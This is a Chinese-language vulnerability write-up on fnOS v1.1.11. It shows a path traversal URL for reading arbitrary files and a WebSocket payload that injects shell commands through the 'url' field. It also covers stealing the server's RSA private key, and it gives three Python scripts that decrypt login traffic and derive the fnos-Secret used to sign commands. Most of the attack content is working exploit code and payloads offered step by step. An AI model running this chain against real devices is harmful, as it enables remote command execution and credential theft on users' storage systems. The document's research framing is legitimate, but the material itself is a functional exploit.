安装环境
下载历史版本镜像,以1.1.11为例,向 https://fnnas.com/api/download-sign post 如下请求获得下载地址。

安装完成之后即可访问web页面。

初始化之后成功进入桌面。

测试POC
在链接后加入 /app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../ 可以直接遍历文件系统目录。

通过抓包验证一下WebSocket开头的校验信息计算方式,下图是一个正常的WebSocket请求记录:

浏览器LocalStorage中存储的 fnos-Secret 可以在开发者工具中查看到:

尝试按照其规则构造校验信息,成功生成与抓包一致的签名。

构造命令执行的payload如下,其中 url 参数被注入了系统命令:
{"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
使用前面构造的校验信息,通过WebSocket发送上述payload尝试命令执行。

执行成功,在系统的 /tmp 目录下创建了指定的文件。

获得fnos-Secret
在 /var/log/accountsrv/info.log 中有账号登录相关的日志,其中存储了 fnos-token。

查看登录过程中的WebSocket请求,客户端发送的加密数据包如下:

服务端成功登录后返回的响应,其中包含 token 和 secret 等关键信息。

结合前端JavaScript代码分析可知,其流程为:客户端生成随机的AES Key和IV,使用服务端的RSA公钥加密Key,再用该Key和IV加密登录信息,将加密后的Key(RSA)、IV和登录数据(AES)一并发送。服务端验证成功后返回token和加密的secret。
因此,如果能拿到服务器的RSA私钥,就可以解密整个流程。利用前面发现的路径穿越漏洞,可以下载私钥文件:/usr/trim/etc/rsa_private_key.pem。随后编写一个Python解密脚本来验证逻辑:
import base64
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes
# ================= 配置区域 =================
# 1. 抓包获取的数据
payload = {
"iv": "UaNep6YYc/lwPBAZb1yhJw==",
"rsa": "xxx",
"aes": "xxx"
}
# 2. 私钥路径
PRIVATE_KEY_FILE = "private.pem"
# ================= 逻辑区域 =================
def decrypt_flow():
try:
# --- 步骤 1: RSA 解密获取 AES Session Key ---
print(" 正在读取私钥...")
with open(PRIVATE_KEY_FILE, "rb") as f:
private_key = RSA.import_key(f.read())
# Base64 解码 RSA 密文
encrypted_session_key = base64.b64decode(payload["rsa"])
# 使用 PKCS1_v1_5 解密
cipher_rsa = PKCS1_v1_5.new(private_key)
sentinel = get_random_bytes(16) # 解密失败时的随机值
# 获取 AES Key
session_key = cipher_rsa.decrypt(encrypted_session_key, sentinel)
if session_key == sentinel:
print("[-] RSA 解密失败,私钥可能不匹配或填充模式错误。")
return
print(f"[+] RSA 解密成功! 获得 AES Session Key (Hex): {session_key.hex()}")
print(f" Key 长度: {len(session_key) * 8} 位")
# --- 步骤 2: AES 解密获取明文数据 ---
print("\n 开始解密 AES 数据...")
# Base64 解码 IV 和 AES 密文
iv = base64.b64decode(payload["iv"])
encrypted_data = base64.b64decode(payload["aes"])
# 创建 AES Cipher (通常是 CBC 模式)
cipher_aes = AES.new(session_key, AES.MODE_CBC, iv)
# 解密并移除填充 (PKCS7)
try:
decrypted_padded = cipher_aes.decrypt(encrypted_data)
plaintext_bytes = unpad(decrypted_padded, AES.block_size)
plaintext_str = plaintext_bytes.decode('utf-8')
print("[+] AES 解密成功!")
print("-" * 30)
# 尝试解析为 JSON 并漂亮打印
try:
json_obj = json.loads(plaintext_str)
print(json.dumps(json_obj, indent=4, ensure_ascii=False))
except:
print(plaintext_str)
print("-" * 30)
except ValueError as e:
print(f"[-] AES 解密或去填充失败: {e}")
print(" 可能原因: Key 错误 (RSA解密错) 或 模式不是 CBC")
except FileNotFoundError:
print(f"[!] 找不到私钥文件: {PRIVATE_KEY_FILE}")
except Exception as e:
print(f"[!] 发生未预期的错误: {e}")
if __name__ == "__main__":
decrypt_flow()
使用真实的抓包数据运行脚本,成功解密出登录明文信息。

通过分析前端JS代码还可知,服务器返回的 secret 字段实际上是使用相同Session Key加密后的 fnos-Secret。再写一个脚本专门计算该值:
import base64
import json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
from Crypto.Random import get_random_bytes
# ================= 填入你的抓包数据 =================
# 1. 登录请求包 (Request)
request_payload = {
"iv": "UaNep6YYc/lwPBAZb1yhJw==", # 对应代码中的 CT (Base64)
"rsa": "LAThXfsHgrZWegUJ4eG4qmdz+yucF31JuAt4MqJL9DzHLrO2KvS9FqnPbw5BUwohwfvwqeLEzIYeFmgE/uAei2Cv8X5cL+Uzb+ctHJgVVfikLaTFP1+Du3w4ohQedXRinUjolHuZvX4dIY9Nb4PW1NxHdYv3MulO8JswbQtZlHMGFfLy+7MofWfY0XZhKolSvcwQ2r+wwJnZqMVIdA2EIRrY/oTcnPLysgjJnRPNY1zu2Vd31tmCvvPNjAERB33hI+Q4p8Ro/PMs0xYCjDQGsxLIlKKJr731n4+jetd56UvQLmigs4WnHjMAhYddaT8vll1j1a9ITSAd5Air4Pfwaw==",
}
# 2. 登录响应包 (Response)
server_response = {
"secret": "CkcJHbGW4jRaBo14reTZdN24CTDn2VuKIcwjFaCmMeM=" # 服务器返回的加密 Secret
}
# 3. 私钥路径
PRIVATE_KEY_FILE = "private.pem"
# =================================================
def calculate_fnos_secret():
try:
# --- 步骤 1: 用私钥解密 RSA,拿到 AES Session Key ---
print(" 正在读取私钥...")
with open(PRIVATE_KEY_FILE, "rb") as f:
private_key = RSA.import_key(f.read())
rsa_ct = base64.b64decode(request_payload["rsa"])
cipher_rsa = PKCS1_v1_5.new(private_key)
sentinel = get_random_bytes(16)
# 这就是代码里的 'Yz' (的二进制形式)
session_key_bytes = cipher_rsa.decrypt(rsa_ct, sentinel)
# 前端代码 Yz = iWe(32) 生成的是32字节字符串,但CryptoJS处理时会作为WordArray
# 这里的解密结果应该是原始的字节流
print(f"[+] 拿到 Session Key (Hex): {session_key_bytes.hex()}")
# --- 步骤 2: 准备解密参数 ---
iv_bytes = base64.b64decode(request_payload["iv"])
encrypted_secret_bytes = base64.b64decode(server_response["secret"])
print(f" IV (Hex): {iv_bytes.hex()}")
print(f" Server Secret (Hex): {encrypted_secret_bytes.hex()}")
# --- 步骤 3: 模拟 fWe 函数进行解密 ---
# fWe = t => Ti.AES.decrypt(t, qz, { iv: CT }).toString(Ti.enc.Base64);
cipher_aes = AES.new(session_key_bytes, AES.MODE_CBC, iv_bytes)
# AES 解密
decrypted_bytes = cipher_aes.decrypt(encrypted_secret_bytes)
# 移除 Padding (PKCS7) - 虽然CryptoJS的toString(Base64)会自动处理,但Python需要手动
# 注意:有时候CryptoJS处理字符串填充比较宽容,如果报错,尝试不去掉unpad直接看
try:
final_secret_bytes = unpad(decrypted_bytes, AES.block_size)
except ValueError:
# 如果解密出来刚好是整块,或者格式特殊,直接用原始的
final_secret_bytes = decrypted_bytes
# 转为 Base64 (对应 toString(Ti.enc.Base64))
fnos_secret = base64.b64encode(final_secret_bytes).decode('utf-8')
print("\n" + "="*40)
print(f"SUCCESS! 计算出的 fnos-Secret: {fnos_secret}")
print("请检查这个值是否与你浏览器 LocalStorage 中的值一致。")
print("="*40)
except Exception as e:
print(f"[-] 发生错误: {e}")
if __name__ == "__main__":
calculate_fnos_secret()
运行脚本,成功计算出与浏览器LocalStorage中一致的 fnos-Secret。

深入服务端逻辑
为了更深入理解其机制,我们寻找服务端的处理逻辑。通过WebSocket返回的字段定位到相关的二进制文件 /usr/trim/bin/handlers/user.hdl。

通过对该二进制文件进行逆向工程,找到了关键的secret生成逻辑,它是由随机数生成的。

随后,服务端使用生成的token的前16字节作为IV,用一个固定的Key(从私钥文件中特定位置读取)对这个secret进行AES加密,加密结果存入token的后16字节中。


因此,如果我们拥有服务器的RSA私钥文件,就可以利用token直接还原出secret,而无需截获登录流量。其原理是:将token的前16字节作为IV,后16字节作为密文,从私钥文件特定偏移(100字节后)读取的32字节作为AES Key,进行AES-256-CBC解密即可得到原始的secret。编写以下脚本实现该功能:
import base64
from Crypto.Cipher import AES
TARGET_TOKEN_B64 = "19FkFWR+gGmeVTtvK0dcHtiiHQ8qz8WW21vEHjtfhJI="
PEM_FILE_PATH = "private.pem"
def get_master_key_from_file(filepath):
"""
模拟 C++ 代码逻辑:
lseek(fd, 100, 0);
read(fd, buf, 32);
"""
try:
with open(filepath, "rb") as f:
# 1. 跳过前 100 字节
f.seek(100)
# 2. 读取接下来的 32 字节作为 AES Key
master_key = f.read(32)
if len(master_key) != 32:
print(f"[!] 警告: 读取到的 Key 长度不足 32 字节 (实际: {len(master_key)})")
return None
print(f" 成功提取 Master Key (Hex): {master_key.hex()}")
print(f" (原始字节): {master_key}")
return master_key
except FileNotFoundError:
print(f"[!] 错误: 找不到文件 {filepath}")
return None
def decrypt_secret(token_b64, master_key):
try:
# 1. Base64 解码 Token
token_bytes = base64.b64decode(token_b64)
if len(token_bytes) != 32:
print(f"[!] Token 长度错误: 解码后应为 32 字节,当前为 {len(token_bytes)}")
return
# 2. 切分 Token
# 前 16 字节 = IV (也是随机数部分)
# 后 16 字节 = 加密后的 Secret
iv = token_bytes[0:16]
encrypted_secret = token_bytes[16:32]
print(f" 解析 Token:")
print(f" IV (Hex) : {iv.hex()}")
print(f" Ciphertext (Hex): {encrypted_secret.hex()}")
# 3. AES 解密
# 模式: CBC (根据 iv 传递判断)
# Key: 32字节 (AES-256)
cipher = AES.new(master_key, AES.MODE_CBC, iv)
# 因为数据刚好是 16 字节,且 C++ 那边是定长加密,所以这里解密后不需要去填充(Unpad)
# 或者说它本身就是满块
decrypted_bytes = cipher.decrypt(encrypted_secret)
# 4. 验证特征
# C++ 代码中有一行: secret[15] = 111 (即 0x6F, 字符 'o')
last_byte = decrypted_bytes[-1]
is_valid = (last_byte == 111)
print("-" * 40)
if is_valid:
pass
else:
tmplist = list(decrypted_bytes[:-1])
tmplist.append(0x6f)
decrypted_bytes = bytes(tmplist)
# 5. 生成最终的 fnos-Secret (Base64格式)
final_secret = base64.b64encode(decrypted_bytes).decode('utf-8')
print(f"\n[SUCCESS] 还原出的 fnos-Secret:\n")
print(f"{final_secret}")
print(f"\n你可以用这个 Secret 去签名 WebSocket 消息了。")
print("-" * 40)
except Exception as e:
print(f"[!] 解密过程发生错误: {e}")
if __name__ == "__main__":
print("=== fnOS Token 还原 Secret 工具 ===\n")
# 步骤 1: 提取 Key
key = get_master_key_from_file(PEM_FILE_PATH)
# 步骤 2: 解密
if key:
decrypt_secret(TARGET_TOKEN_B64, key)
总结与思考
本文详细分析了fnOS v1.1.11版本中存在的路径穿越漏洞与WebSocket接口命令执行漏洞的利用链。整个过程从简单的目录遍历开始,逐步深入到WebSocket通信的认证机制绕过,并最终通过逆向工程揭示了其认证密钥fnos-Secret的生成与推导过程。这再次提醒我们,即使有加密和签名校验,如果密钥管理不当(如私钥文件可被读取)或密码学实现存在缺陷,整个安全防线依然可能崩塌。对于安全研究和渗透测试来说,理解系统深层的加密与认证逻辑至关重要。
如果你对这类漏洞的挖掘与分析过程感兴趣,欢迎在云栈社区参与更多关于网络安全与系统安全的讨论。